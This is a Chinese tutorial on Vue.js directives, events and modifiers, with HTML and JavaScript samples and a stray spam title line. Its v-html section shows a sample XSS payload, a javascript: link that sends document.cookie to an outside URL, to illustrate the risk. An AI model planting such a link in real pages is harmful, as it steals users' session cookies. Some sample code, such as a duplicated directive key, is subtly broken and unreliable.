鄭州網(wǎng)站seo優(yōu)微信朋友圈廣告在哪里做
常用指令
指令語法和插值語法
Vue框架中的所有指令的名字都以v-開始,完整語法格式<HTML標(biāo)簽 v-指令名:參數(shù)="javascript表達(dá)式(表達(dá)式的結(jié)果是一個(gè)值)"></HTML標(biāo)簽>:
- 指令的職責(zé)是當(dāng)表達(dá)式的值改變時(shí),將其產(chǎn)生的連帶影響,響應(yīng)式地作用于DOM元素
- 不是所有的指令都有參數(shù)和表達(dá)式,如
v-once不需要參數(shù)和表達(dá)式,v-bind既需要參數(shù)又需要表達(dá)式
指令語法和插值語法的聯(lián)系與區(qū)別
-
內(nèi)容:指令語法中的表達(dá)式和插值語法中{{}}里面的內(nèi)容是一樣的,如data中聲明的變量,函數(shù)等,常量,合法的javascript表達(dá)式(表達(dá)式的結(jié)果是一個(gè)值) -
在指令表達(dá)式中使用數(shù)據(jù)時(shí)外層不用聲明
{{}},即使沒有使用指令屬性值內(nèi)部也不能直接使用插值語法 -
書寫位置: 插值語法是寫在標(biāo)簽體當(dāng)中的,指令語法是寫在標(biāo)簽的屬性位置上 -
渲染:插值語法和指令語法都需要Vue框架的編譯器進(jìn)行編譯生成一段HTML代碼,然后交給瀏覽器進(jìn)行渲染
v-once和v-if
v-once: 只會渲染元素一次(用于優(yōu)化更新性能),隨后即使data中的數(shù)據(jù)發(fā)生改變也不會重新渲染(元素及其所有的子節(jié)點(diǎn)將被視為靜態(tài)內(nèi)容并跳過)
v-if="表達(dá)式": 要求表達(dá)式的執(zhí)行結(jié)果是個(gè)布爾類型,true表示這個(gè)指令所在的標(biāo)簽會被渲染到瀏覽器當(dāng)中,false表示不會
<!-- 準(zhǔn)備一個(gè)容器 -->
<div id="app"><h1>{{msg}}</h1><h1 v-once>{{msg}}</h1><h1 v-if="a > b">v-if測試：{{msg}}</h1><!--頁面第一次加載的時(shí)候渲染一次,以后即使users數(shù)組如何發(fā)生變化都不會再渲染--><ul><li v-for="user,index of users" :key="index" v-once>{{user}}</li></ul>
</div>
<!-- vue程序 -->
<script>new Vue({el : '#app',data : {msg : 'Hello Vue!',a : 10,b : 11,users : ['jack', 'lucy', 'james']}})
</script>
v-bind(單向數(shù)據(jù)綁定)
v-bind:參數(shù)(標(biāo)簽支持屬性)="表達(dá)式",可以省略指令名bind即:參數(shù)="表達(dá)式": 讓HTML標(biāo)簽的某個(gè)屬性的值關(guān)聯(lián)data中的數(shù)據(jù)產(chǎn)生動(dòng)態(tài)效果(data ====> 視圖)
- 編譯的時(shí)候v-bind后面的
參數(shù)名會被編譯為HTML標(biāo)簽的屬性名,原則上參數(shù)名可以隨便寫,但只有參數(shù)名寫成該HTML標(biāo)簽支持的屬性名時(shí)才會有意義 - 指令的表達(dá)式中可以關(guān)聯(lián)data中的數(shù)據(jù)，當(dāng)data中的數(shù)據(jù)發(fā)生改變時(shí)表達(dá)式的執(zhí)行結(jié)果也會發(fā)生變化即標(biāo)簽的屬性值發(fā)生變化
編譯前：
<HTML標(biāo)簽 v-bind:參數(shù)="表達(dá)式"></HTML標(biāo)簽>
編譯后：
<HTML標(biāo)簽 參數(shù)="表達(dá)式的執(zhí)行結(jié)果"></HTML標(biāo)簽>
<!-- 準(zhǔn)備一個(gè)容器 -->
<div id="app"><!--參數(shù)名寫成該HTML標(biāo)簽支持的屬性名時(shí)才有意義,要不然標(biāo)簽沒有這屬性改變data的值也沒有什么效果--><span v-bind:xyz="msg"></span><!--這個(gè)表達(dá)式帶有單引號，說明'msg'是常量--><span v-bind:xyz="'msg'"></span><!--v-bind使用及其簡寫形式--><img v-bind:src="imgPath"> <br><img :src="imgPath"> <br><!--讓文本框value這個(gè)數(shù)據(jù)變成動(dòng)態(tài)的實(shí)現(xiàn)動(dòng)態(tài)數(shù)據(jù)綁定--><input type="text" name="username" :value="username"> <br><!--使用v-bind也可以讓超鏈接的地址動(dòng)態(tài)--><a :href="url">走起</a> <br>
</div><!--vue程序-->
<script> new Vue({el : '#app',data : {msg : 'Hello Vue!',imgPath : '../img/1.jpg',username : 'jackson',url : 'https://www.baidu.com'}})
</script>
</body>
v-model(雙向數(shù)據(jù)綁定)
v-model:value="表達(dá)式"可以省略參數(shù)名:value即v-model="表達(dá)式": 讓HTML標(biāo)簽的某個(gè)屬性的值和data中的數(shù)據(jù)互相關(guān)聯(lián)產(chǎn)生動(dòng)態(tài)效果(data <===> 視圖)
- v-model只能使用在表單類元素上如
input標(biāo)簽、select標(biāo)簽、textarea標(biāo)簽的value屬性上面,因?yàn)橹挥羞@些元素給用戶提供輸入界面改變data中的數(shù)據(jù)
v-model指令提供了一些方法可以對收集到的字符串進(jìn)行操作
v-model.number: 可以將收集到的字符串轉(zhuǎn)化為數(shù)字保存v-model.trim: 去除字符串的前后空白v-model.lazy: 失去焦點(diǎn)后才開始收集表單數(shù)據(jù)
<!--準(zhǔn)備一個(gè)容器-->
<div id="app">v-bind指令：<input type="text" v-bind:value="name1"><br>v-model指令：<input type="text" v-model:value="name2"><br><!--以下報(bào)錯(cuò)因?yàn)関-model不能使用在這種元素上--><a v-model:href="url">百度</a>v-bind指令：<input type="text" :value="name1"><br>v-model指令：<input type="text" v-model="name2"><br>消息1：<input type="text" :value="msg"><br>消息2：<input type="text" v-model="msg"><br>
</div><!--vue程序-->
<script>new Vue({el : '#app',data : {name1 : 'zhangsan',name2 : 'wangwu',url : 'https://www.baidu.com',msg : 'Hello Vue!'}})
</script>
v-text和v-html
v-text: 將表達(dá)式的內(nèi)容以覆蓋的形式填充到標(biāo)簽體當(dāng)中，而且填充內(nèi)容中的HTML標(biāo)簽只會當(dāng)做一個(gè)普通的字符串處理,等同于原生JS中innerText
v-html: 將表達(dá)式的內(nèi)容以覆蓋的形式填充到標(biāo)簽體當(dāng)中，而且將填充的內(nèi)容當(dāng)做HTML代碼解析,等同于原生JS中的innerHTML
- v-html用到用戶提交的內(nèi)容上時(shí)可能會導(dǎo)致
XSS攻擊,即通過利用網(wǎng)頁開發(fā)時(shí)留下的漏洞，將惡意的JavaScript代碼注入到網(wǎng)頁中誘導(dǎo)用戶加載并執(zhí)行
<body><div id="app"><!--v-text指令--><h1>{{msg}},test</h1><h1 v-text="msg">test</h1><h1 v-text="name">test</h1><h1 v-text="s1"></h1><!--v-html指令--><h1 v-html="s1"></h1><ul><li v-for="(m,index) of messageList" v-html="m"></li></ul><textarea cols="30" rows="10" v-model.lazy="message"></textarea><br><button @click="save">保存留言</button><!--用戶在留言中惡意植入以下信息--><a href="javascript:location.href='http://www.baidu.com?'+document.cookie">點(diǎn)擊查看詳情</a></div><script>const vm = new Vue({el: '#app',data: {msg: 'Vue的其它指令',name: 'jack',s1: '<h1>歡迎大家學(xué)習(xí)Vue！</h1>',message: '',messageList: []},methods: {save() {this.messageList.push(this.message)}}})</script>
</body>
v-cloak
v-cloak指令使用在標(biāo)簽當(dāng)中用來解決胡子的閃現(xiàn)問題,當(dāng)Vue還沒來得及對模板語句的語法規(guī)則進(jìn)行編譯時(shí),此時(shí)頁面會顯示插值語句本事字符串
- v-cloak不需要指定屬性值,只需要配合CSS指定樣式隱藏標(biāo)簽, 當(dāng)Vue實(shí)例接管容器之后會對模板語句進(jìn)行編譯,然后刪除這個(gè)指令,此時(shí)標(biāo)簽就會顯示出來
<head><style>/*當(dāng)前頁面中所有帶有v-cloak屬性的標(biāo)簽都隱藏起來*/[v-cloak] {display: none;}</style>
</head>
<body><div id="app"><h1 v-cloak>{{msg}}</h1></div><script>// 模擬延遲加載Vue.js文件setTimeout(() => {let scriptElt = document.createElement('script')scriptElt.src = '../js/vue.js'// 自動(dòng)追加到末尾document.head.append(scriptElt)}, 3000)// 延遲渲染setTimeout(() => {const vm = new Vue({el : '#app',data : {msg : 'Vue的其它指令'}})}, 4000)</script>
</body>
v-pre
v-pre指令可以不編譯帶有該指令的標(biāo)簽從而提高編譯速度,不需要編譯的標(biāo)簽一定是沒有使用Vue語法規(guī)則即不能帶有指令語法以及插值語法
<body><div id="app"><h1 v-cloak>{{msg}}</h1><h1 v-pre>歡迎學(xué)習(xí)Vue框架</h1><!--使用了v-pre后標(biāo)簽體中的插值語法就不會被編譯--><h1 v-pre>{{msg}}</h1></div><script>const vm = new Vue({el : '#app',data : {msg : 'Vue的其它指令',}})</script>
</body>
vue的自定義指令
自定義指令分為局部指令和全局指令,并且定義的時(shí)候分為函數(shù)式和對象式
- 關(guān)于自定義指令的名字: v- 不需要寫, Vue官方建議指令的名字要全部小寫 , 如果是多個(gè)單詞的話使用"-"進(jìn)行銜接
- 自定義指令的函數(shù)中的this是window
自定義指令函數(shù)式的回調(diào)函數(shù)
- 回調(diào)函數(shù)有兩個(gè)參數(shù)：第一個(gè)參數(shù)是真實(shí)的dom元素,第二個(gè)參數(shù)是標(biāo)簽與指令之間綁定關(guān)系的對象
- 回調(diào)函數(shù)的執(zhí)行時(shí)機(jī)包括兩個(gè): 第一個(gè)是標(biāo)簽和指令第一次綁定的時(shí)候, 第二個(gè)是模板被重新解析的時(shí)候
自定義指令對象式的鉤子函數(shù)可以完成更加細(xì)致的功能
- bind函數(shù)是當(dāng)元素與指令初次綁定的時(shí)候自動(dòng)被調(diào)用
- inserted函數(shù)是當(dāng)元素被插入到頁面之后自動(dòng)被調(diào)用
- update函數(shù)是當(dāng)模板重新解析的時(shí)候自動(dòng)被調(diào)用
<body><div id="app"><h1>自定義指令</h1><div v-text="msg"></div><div v-text-danger="msg"></div>用戶名：<input type="text" v-bind:value="username"><!--需要一個(gè)指令，可以和v-bind指令完成相同的功能，同時(shí)將該元素的父級元素的背景色設(shè)置為藍(lán)色--><div>用戶名：<input type="text" v-bind-blue="username"></div></div><div id="app2"><div v-text-danger="msg"></div><div>用戶名：<input type="text" v-bind-blue="username"></div></div><script>// 定義全局的指令(可以在所有的容器中使用)// 函數(shù)式Vue.directive('text-danger', function(element, binding){//對于自定義指令來說，函數(shù)體當(dāng)中的this是window，而不是vue實(shí)例console.log(this)element.innerText = binding.valueelement.style.color = 'red'})// 對象式Vue.directive('bind-blue', {bind(element, binding){element.value = binding.valueconsole.log(this)},inserted(element, binding){element.parentNode.style.backgroundColor = 'skyblue'console.log(this)},update(element, binding){element.value = binding.valueconsole.log(this)}})const vm2 = new Vue({el : '#app2',data : {msg : '歡迎學(xué)習(xí)Vue框架！',username : 'lucy'}})const vm = new Vue({el : '#app',data : {msg : '自定義指令',username : 'jackson'},// 定義局部的指令(只能在當(dāng)前容器中使用)directives : {// 函數(shù)式'text-danger' : function(element, binding){console.log('@')element.innerText = binding.valueelement.style.color = 'red'}, 'bind-blue' : function(element, binding){element.value = binding.valueconsole.log(element)// 為什么是null，原因是這個(gè)函數(shù)在執(zhí)行的時(shí)候，指令和元素完成了綁定，但是只是在內(nèi)存當(dāng)中完成了綁定，元素還沒有被插入到頁面當(dāng)中。console.log(element.parentNode)element.parentNode.style.backgroundColor = 'blue'} // 對象式(含有三個(gè)鉤子函數(shù),在特定的時(shí)間節(jié)點(diǎn)會被自動(dòng)調(diào)用)'bind-blue' : {// 元素與指令初次綁定的時(shí)候,這個(gè)函數(shù)自動(dòng)被調(diào)用bind(element, binding){element.value = binding.value},// 元素被插入到頁面之后，這個(gè)函數(shù)自動(dòng)被調(diào)用inserted(element, binding){element.parentNode.style.backgroundColor = 'blue'},// 當(dāng)模板重新解析的時(shí)候，這個(gè)函數(shù)會被自動(dòng)調(diào)用update(element, binding){element.value = binding.value}} }})</script>
</body>
條件渲染
v-if、v-else-if、v-else、v-show
v-if、v-else-if、v-else指令用于條件性地加載元素,這塊內(nèi)容只會在指令的表達(dá)式返回true時(shí)才被加載,連續(xù)使用的時(shí)候元素中間不能斷開
- 注意: 條件表達(dá)的值為false時(shí)該
元素不會被渲染到頁面上即元素沒有加載,并不是通過修改元素的CSS樣式的display屬性來達(dá)到顯示和隱藏的 - v-if有更高的切換開銷,元素會被銷毀和重建,適用于運(yùn)行時(shí)條件表達(dá)式的值很少改變的情況,可以提高頁面加載速度快,提高頁面的渲染效率
v-show: 按照條件顯示一個(gè)元素,通過修改元素的CSS樣式的display屬性來達(dá)到元素的顯示和隱藏
- v-show有更高的初始渲染開銷,因?yàn)镈OM元素一定會被渲染,適用于一個(gè)元素在頁面上被頻繁的隱藏和顯示
- v-show不支持在template標(biāo)簽上使用,也不能和v-else搭配使用
template與v-if
v-if是一個(gè)指令必須依附于某個(gè)元素,如果想要渲染或隱藏多個(gè)元素代碼會比較繁瑣,可以在template標(biāo)簽上使用v-if,v-else和v-else-if指令統(tǒng)一渲染或隱藏多個(gè)元素
- template元素是一個(gè)
不可見的包裝器元素,即最后渲染的HTML代碼并不會包含這個(gè)元素,不會影響到頁面的結(jié)構(gòu)
<body><div id="app"><h1>{{msg}}</h1><div v-if="false">{{msg}}</div><div v-if="2 === 1">{{msg}}</div><button @click="counter++">點(diǎn)我加1</button><h3>{{counter}}</h3><img :src="imgPath1" v-if="counter % 2 === 1"><!-- <img :src="imgPath2" v-if="counter % 2 === 0"> --><!--為了提高效率,可以使用v-else指令,v-if和v-else之間不能斷開--><img :src="imgPath2" v-else>溫度：<input type="number" v-model="temprature"><br><br>天氣：<span v-if="temprature <= 10">寒冷</span><span v-else-if="temprature <= 25">涼爽</span><span v-else>炎熱</span><div v-show="false">你可以看到我嗎</div><!--template標(biāo)簽/元素只是起到占位的作用,不會真正的出現(xiàn)在頁面上也不會影響頁面的結(jié)構(gòu)--><template v-if="counter === 10"><input type="text"><input type="checkbox"><input type="radio"> </template></div><script>const vm = new Vue({el : '#app',data : {msg : '條件渲染',counter : 1,imgPath1 : '../img/1.jpg',imgPath2 : '../img/2.jpg',temprature : 0}})</script>
</body>
事件
v-on
v-on:事件名="表達(dá)式"簡寫@事件名="表達(dá)式": 完成事件綁定, 表達(dá)式位置可以寫常量、JS表達(dá)式、Vue實(shí)例所管理的data或method等配置項(xiàng)
- 在Vue當(dāng)中事件所關(guān)聯(lián)的回調(diào)函數(shù)必須在
Vue實(shí)例的methods中配置項(xiàng)進(jìn)行定義,Vue在解析模板語句時(shí)只會調(diào)用Vue實(shí)例管理的回調(diào)函數(shù)
Vue在調(diào)用回調(diào)函數(shù)的時(shí)候會根據(jù)情況傳遞當(dāng)前發(fā)生的事件對象
- 如果表達(dá)式中的函數(shù)沒有參數(shù)并且省略了小括號, Vue框架會自動(dòng)給回調(diào)函數(shù)傳遞當(dāng)前發(fā)生的事件對象
- 如果表達(dá)式中的函數(shù)有括號(無論是否有參數(shù)),Vue都不會給回調(diào)函數(shù)傳遞當(dāng)前的事件對象,需要在參數(shù)上使用
$event占位符告訴Vue我需要接收當(dāng)前事件對象
<div id="app"><h1>{{msg}}</h1><!--使用javascript原生代碼如何完成事件綁定--><button onclick="alert('hello')">hello</button><!--以下是錯(cuò)誤的，因?yàn)閍lert()和sayHello()都沒有被Vue實(shí)例管理--><button v-on:click="alert('hello')">hello</button><button v-on:click="sayHello()">hello</button><!--綁定Vue實(shí)例method配置項(xiàng)中的回調(diào)函數(shù)完成事件綁定--><button @click="sayHi($event, 'jack')">hi button2</button><!--如果函數(shù)省略了小括號,Vue框架會自動(dòng)給回調(diào)函數(shù)傳遞當(dāng)前發(fā)生的事件對象--><button @click="sayWhat">what button</button><!--如果函數(shù)沒有省略小括號,Vue框架不會給回調(diào)函數(shù)傳遞當(dāng)前發(fā)生的事件對象--><button @click="sayWhat()">what button</button>
</div>
<!-- vue代碼 -->
<script>// 自定義的函數(shù)不會被調(diào)用function sayHello(){alert('hello')}const vm = new Vue({el: '#app',data: {msg: 'Vue的事件綁定'},methods: { // 回調(diào)函數(shù)// : function 可以省略sayHi(event, name) {console.log(name, event)},sayWhat(event) {console.log(event)//console.log(event.target)//console.log(event.target.innerText)}}})
</script>
事件回調(diào)函數(shù)中的this
事件回調(diào)函數(shù)中的this就是Vue的實(shí)例對象vm, 箭頭函數(shù)中沒有自己的this它的this是從父級作用域當(dāng)中繼承過來的
<div id="app"><h1>{{msg}}</h1><h1>計(jì)數(shù)器：{{counter}}</h1><button @click="counter++">點(diǎn)擊我加1</button><button @click="add">點(diǎn)擊我加1</button><button @click="add2">點(diǎn)擊我加1(箭頭函數(shù))</button>
</div>
<!-- vue代碼 -->
<script>const vm = new Vue({el : '#app',data : {msg : '關(guān)于事件回調(diào)函數(shù)中的this',counter : 0},methods : {add(){// 事件函數(shù)中的this就是Vue的實(shí)例對象vmthis.counter++;//vm.counter++;},add2:()=>{// 對于當(dāng)前程序來說this就是父級作用域(全局作用域)windowconsole.log(this)},sayHi(){alert('hi...')}}})
</script>
methods對象中的方法可以通過vm去訪問(直接復(fù)制),但是并沒有做數(shù)據(jù)代理
<script>const vm = new Vue({data : {msg : 'hello vue!'},methods : {sayHi(){// 函數(shù)中的this就是Vue的實(shí)例對象vmconsole.log(this.msg)},sayHello(){alert('hello')},sayWhat : () => {// 對于當(dāng)前程序來說this就是父級作用域(全局作用域)windowconsole.log(this)}}})
</script>
// 定義一個(gè)Vue類
class Vue {// options是一個(gè)簡單的純粹的JS對象,有Vue實(shí)例對象的配置項(xiàng)constructor(options) { // 定義構(gòu)造函數(shù)// 獲取所有的屬性名// 獲取所有的方法名Object.keys(options.methods).forEach((methodName, index) => {// 給當(dāng)前的Vue實(shí)例擴(kuò)展一個(gè)方法,相當(dāng)于復(fù)制了一份this[methodName] = options.methods[methodName]})}
}
事件修飾符
Vue當(dāng)中提供了事件修飾符:在事件中可以不采用手動(dòng)調(diào)用DOM的方式來完成事件相關(guān)的行為,保證回調(diào)函數(shù)中只負(fù)責(zé)寫業(yè)務(wù)邏輯代碼
- passive和prevent修飾符是對立的不可以共存 , 如果一起用就會報(bào)錯(cuò)
- 添加事件監(jiān)聽器包括兩種不同的方式: 一種是從內(nèi)到外添加(事件冒泡模式), 一種是從外到內(nèi)添加(事件捕獲模式）
在Vue當(dāng)中事件修飾符是可以多個(gè)聯(lián)合使用的,按照書寫順序的先后執(zhí)行
| 修飾符 | 作用 |
|---|---|
| stop | 停止事件冒泡,等同于event.stopPropagation() |
| prevent | 阻止事件的默認(rèn)行為,等同于event.preventDefault() |
| capture | 添加事件監(jiān)聽器時(shí)使用事件捕獲模式(從外到內(nèi)),先給誰添加誰先執(zhí)行 |
| self | 只有元素本身觸發(fā)事件才會則執(zhí)行對應(yīng)的函數(shù)，別人冒泡/捕獲傳遞過來的事件并不會調(diào)用事件函數(shù) |
| once | 事件只發(fā)生一次 |
| passive(順從/不抵抗) | 解除阻止, 無需等待事件函數(shù)的內(nèi)部代碼執(zhí)行完, 優(yōu)先執(zhí)行事件的默認(rèn)行為(如鼠標(biāo)滾動(dòng),頁面跳轉(zhuǎn)) |
<!-- 容器 -->
<div id="app"><h1>{{msg}}</h1><!--點(diǎn)擊鏈接默認(rèn)會跳轉(zhuǎn),使用事件修飾符阻止事件的默認(rèn)行為--><a href="https://www.baidu.com" @click.prevent="yi">百度</a> <br><br><!--阻止事件冒泡的行為: 1--><div @click="san"><div @click.stop="er"><button @click="yi">事件冒泡</button></div></div><!--添加事件監(jiān)聽器時(shí)使用事件捕獲模式: 3,2,1--><div @click.capture="san"><div @click.capture="er"><button @click.capture="yi">添加事件監(jiān)聽器的時(shí)候采用事件捕獲模式</button></div></div><!--添加事件監(jiān)聽器時(shí)使用事件捕獲模式: 3,1,2--><div @click.capture="san"><!--這里沒有添加capture修飾符,這個(gè)元素和其子元素默認(rèn)采用冒泡模式--><div @click="er"><button @click="yi">添加事件監(jiān)聽器的時(shí)候采用事件捕獲模式</button></div></div><!--self修飾符只有“元素”本身發(fā)生觸發(fā)的事件才會則執(zhí)行對應(yīng)的函數(shù):1,3--><div @click="san"><div @click.self="er"><button @click="yi">self修飾符</button></div></div><!--事件修飾符是可以多個(gè)聯(lián)合使用的@click.self.stop表示先self再stop--><div @click="san"><div @click="er"><button @click.self.stop="yi">self修飾符</button></div></div><!--once修飾符：事件只發(fā)生一次--><button @click.once="yi">事件只發(fā)生一次</button><!--鼠標(biāo)滾動(dòng)時(shí)的默認(rèn)行為是滾動(dòng)條滾動(dòng),優(yōu)先執(zhí)行事件的默認(rèn)行為,不會等事件函數(shù)中的for循環(huán)執(zhí)行完畢--><div class="divList" @wheel.passive="testPassive"><div class="item">div1</div><div class="item">div2</div><div class="item">div3</div></div></div>
<!-- vue代碼 -->
<script>const vm = new Vue({el : '#app',data : {msg : '事件修飾符'},methods : {yi(event){// 手動(dòng)調(diào)用事件對象的preventDefault()方法，可以阻止事件的默認(rèn)行為//event.preventDefault();alert(1)},er(){alert(2)},san(){alert(3)},testPassive(event){for(let i = 0; i < 100000; i++){console.log('test passive')}}}})
</script>
按鍵修飾符
獲取某個(gè)鍵對應(yīng)的按鍵修飾符: 通過event.key可以獲取這個(gè)鍵以kebab-case風(fēng)格命名的名字,如PageDown(向下箭頭鍵)-->page-down
- 4個(gè)比較特殊的系統(tǒng)修飾鍵
ctrl、alt、shift、meta(win鍵): ctrl鍵可以直接觸發(fā)keydown事件,但不能直接觸發(fā)keyup事件需要搭配一個(gè)組合鍵盤
自定義按鍵修飾符: 通過Vue的全局配置對象config來進(jìn)行按鍵修飾符的自定義,Vue.config.keyCodes.按鍵修飾符的名字 = 按鍵的鍵值
| 按鍵 | 按鍵的修飾符 |
|---|---|
| Enter | enter |
| Tab | tab(必須配合keydown事件使用） |
| Delete | delete(捕獲“刪除”和“退格”鍵) |
| ESC | esc |
| 空格 | space |
| 上箭頭 | up |
| 下箭頭 | down |
| 左箭頭 | left |
| 右箭頭 | right |
<div id="app"><h1>{{msg}}</h1><!--當(dāng)用戶按下回車鍵并彈起時(shí)觸發(fā)事件執(zhí)行回調(diào)函數(shù)-->回車鍵：<input type="text" @keyup.enter="getInfo"><br>回車鍵（鍵值）：<input type="text" @keyup.13="getInfo"><br>delete鍵：<input type="text" @keyup.delete="getInfo"><br>esc鍵：<input type="text" @keyup.esc="getInfo"><br>space鍵：<input type="text" @keyup.space="getInfo"><br>up鍵：<input type="text" @keyup.up="getInfo"><br>down鍵：<input type="text" @keyup.down="getInfo"><br>left鍵：<input type="text" @keyup.left="getInfo"><br>right鍵：<input type="text" @keyup.right="getInfo"><br><!--tab鍵無法觸發(fā)keyup事件,只能觸發(fā)keydown事件-->tab鍵（keydown）： <input type="text" @keydown.tab="getInfo"><br>PageDown鍵： <input type="text" @keyup.page-down="getInfo"><br>huiche鍵： <input type="text" @keyup.huiche="getInfo"><br>ctrl鍵(keydown)： <input type="text" @keydown.ctrl="getInfo"><br><!--ctrl鍵加上任意一個(gè)組合鍵可觸發(fā)事件-->ctrl鍵(keyup)： <input type="text" @keyup.ctrl="getInfo"><br><!--ctrl鍵加上i鍵可觸發(fā)事件-->ctrl鍵(keyup)： <input type="text" @keyup.ctrl.i="getInfo"><br>
</div>
<script>// 自定義一個(gè)按鍵修飾符叫huicheVue.config.keyCodes.huiche = 13const vm = new Vue({el : '#app',data : {msg : '按鍵修飾符'},methods : {getInfo(event){// 當(dāng)用戶鍵入回車鍵的時(shí)候，獲取用戶輸入的信息//if(event.keyCode === 13){}// 使用了按鍵修飾符后就不用再判斷鍵值了console.log(event.target.value)// 獲取按鍵修飾符的名字console.log(event.key)}}})
</script>